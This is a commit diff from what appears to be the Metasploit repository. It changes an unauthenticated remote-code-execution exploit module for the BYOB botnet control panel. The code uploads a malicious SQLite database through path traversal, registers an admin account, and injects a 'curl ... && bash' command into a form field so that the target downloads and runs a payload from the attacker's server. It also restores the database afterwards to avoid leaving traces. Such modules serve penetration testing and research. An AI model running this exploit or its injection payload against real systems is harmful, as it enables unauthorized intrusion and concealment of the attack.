Skip to content

Commit 2304bde

Browse files
committed
Add suggestions + clean database files during on_new_session
1 parent a9901d0 commit 2304bde

File tree

1 file changed

+81
-29
lines changed

1 file changed

+81
-29
lines changed

modules/exploits/unix/webapp/byob_unauth_rce.rb

Lines changed: 81 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -88,6 +88,24 @@ def handle_request(cli, request, response_payload)
8888
end
8989

9090
def check
91+
res = send_request_cgi({
92+
'method' => 'GET',
93+
'uri' => normalize_uri(target_uri.path),
94+
'keep_cookies' => true
95+
})
96+
97+
if res
98+
doc = res.get_html_document
99+
100+
unless doc.at('title')&.text&.include?('Build Your Own Botnet') || doc.at('meta[name="description"]')&.attr('content')&.include?('Build Your Own Botnet')
101+
return CheckCode::Safe('The target does not appear to be BYOB.')
102+
end
103+
else
104+
return CheckCode::Unknown('The target did not respond to the initial check.')
105+
end
106+
107+
print_good('The target appears to be BYOB.')
108+
91109
random_data = Rex::Text.rand_text_alphanumeric(32)
92110
random_filename = Rex::Text.rand_text_alphanumeric(16)
93111
random_owner = Rex::Text.rand_text_alphanumeric(8)
@@ -112,16 +130,16 @@ def check
112130
})
113131

114132
if res&.code == 500
115-
CheckCode::Vulnerable
116-
case res&.code
117-
when 500
118-
CheckCode::Vulnerable
119-
when 200
120-
CheckCode::Safe
121-
when nil
122-
CheckCode::Unknown("The target did not respond.")
133+
return CheckCode::Vulnerable
123134
else
124-
CheckCode::Unknown("The target responded with HTTP status #{res.code}")
135+
case res&.code
136+
when 200
137+
return CheckCode::Safe
138+
when nil
139+
return CheckCode::Unknown('The target did not respond.')
140+
else
141+
return CheckCode::Unknown("The target responded with HTTP status #{res.code}")
142+
end
125143
end
126144
end
127145

@@ -157,7 +175,13 @@ def register_user(username, password)
157175
'keep_cookies' => true
158176
})
159177

160-
res&.code == 302 ? print_good('Registered user!') : fail_with(Failure::UnexpectedReply, "User registration failed: #{res.code}")
178+
if res.nil?
179+
fail_with(Failure::UnexpectedReply, 'No response from the server.')
180+
elsif res.code == 302
181+
print_good('Registered user!')
182+
else
183+
fail_with(Failure::UnexpectedReply, "User registration failed: #{res.code}")
184+
end
161185
end
162186

163187
def login_user(username, password)
@@ -176,10 +200,16 @@ def login_user(username, password)
176200
'keep_cookies' => true
177201
})
178202

179-
res&.code == 302 ? print_good('Logged in successfully!') : fail_with(Failure::UnexpectedReply, "Login failed: #{res.code}")
203+
if res.nil?
204+
fail_with(Failure::UnexpectedReply, 'No response from the server.')
205+
elsif res.code == 302
206+
print_good('Logged in successfully!')
207+
else
208+
fail_with(Failure::UnexpectedReply, "Login failed: #{res.code}")
209+
end
180210
end
181211

182-
def generate_malicious_db(_username, _password)
212+
def generate_malicious_db
183213
mem_db = SQLite3::Database.new(':memory:')
184214

185215
mem_db.execute <<-SQL
@@ -267,7 +297,7 @@ module VARCHAR(15) NOT NULL,
267297
backup = SQLite3::Backup.new(src_db, 'main', mem_db, 'main')
268298
backup.step(-1)
269299
backup.finish
270-
300+
271301
binary_data = File.binread(file.path)
272302

273303
Rex::Text.encode_base64(binary_data)
@@ -276,8 +306,8 @@ module VARCHAR(15) NOT NULL,
276306
base64_data
277307
end
278308

279-
def upload_database_multiple_paths(encoded_db)
280-
success = false
309+
def upload_database_multiple_paths
310+
successful_paths = []
281311
filepaths = [
282312
'/proc/self/cwd/buildyourownbotnet/database.db',
283313
'/proc/self/cwd/../buildyourownbotnet/database.db',
@@ -288,10 +318,8 @@ def upload_database_multiple_paths(encoded_db)
288318
]
289319

290320
filepaths.each do |filepath|
291-
vprint_status("Trying to upload database to path: #{filepath}")
292-
293321
form_data = {
294-
'data' => encoded_db,
322+
'data' => @encoded_db,
295323
'filename' => filepath,
296324
'type' => 'txt',
297325
'owner' => Faker::Internet.username,
@@ -307,15 +335,37 @@ def upload_database_multiple_paths(encoded_db)
307335
'keep_cookies' => true
308336
)
309337

310-
if res&.code == 200
311-
print_good("Database uploaded successfully to path: #{filepath}")
312-
success = true
338+
successful_paths << filepath if res&.code == 200
339+
end
340+
341+
successful_paths
342+
end
343+
344+
def on_new_session(session)
345+
if session.type == 'meterpreter'
346+
binary_content = Rex::Text.decode_base64(@encoded_db)
347+
348+
print_status('Restoring the database via Meterpreter to avoid leaving traces.')
349+
350+
successful_restore = false
351+
352+
@successful_paths.each do |remote_path|
353+
remote_file = session.fs.file.new(remote_path, 'wb')
354+
remote_file.syswrite(binary_content)
355+
remote_file.close
356+
successful_restore = true
357+
rescue ::StandardError => e
358+
print_error("Failed to restore the database: #{e.class} #{e}")
359+
end
360+
361+
if successful_restore
362+
print_good('Database has been successfully restored to its clean state.')
313363
else
314-
vprint_error("Failed to upload database to path: #{filepath}")
364+
print_error('Failed to restore the database on all attempted paths.')
315365
end
366+
else
367+
print_error('This is not a Meterpreter session. Cannot proceed with database reset.')
316368
end
317-
318-
success
319369
end
320370

321371
def exploit
@@ -329,12 +379,15 @@ def exploit
329379

330380
# Generate and upload the malicious SQLite database
331381
print_status('Generating malicious SQLite database.')
332-
encoded_db = generate_malicious_db(username, password)
382+
@encoded_db = generate_malicious_db
383+
384+
@successful_paths = upload_database_multiple_paths
333385

334-
unless upload_database_multiple_paths(encoded_db)
386+
if @successful_paths.empty?
335387
fail_with(Failure::UnexpectedReply, 'Failed to upload the database from all known paths')
388+
else
389+
print_good("Malicious database uploaded successfully to the following paths: #{@successful_paths.join(', ')}")
336390
end
337-
print_good('Malicious database uploaded successfully.')
338391

339392
# Register the new admin user
340393
print_status("Registering a new admin user: #{username}:#{password}")
@@ -350,7 +403,6 @@ def exploit
350403
uri = get_uri.gsub(%r{^https?://}, '').chomp('/')
351404
random_filename = ".#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"
352405
malicious_filename = "curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename}"
353-
354406
payload_data = {
355407
'format' => 'exe',
356408
'operating_system' => "nix$(#{malicious_filename})",
@@ -364,7 +416,7 @@ def exploit
364416
'ctype' => 'application/x-www-form-urlencoded',
365417
'vars_post' => payload_data,
366418
'keep_cookies' => true
367-
}, 0)
419+
}, 5)
368420

369421
# Keep the web server running to maintain the service
370422
service.wait

0 commit comments

Comments
 (0)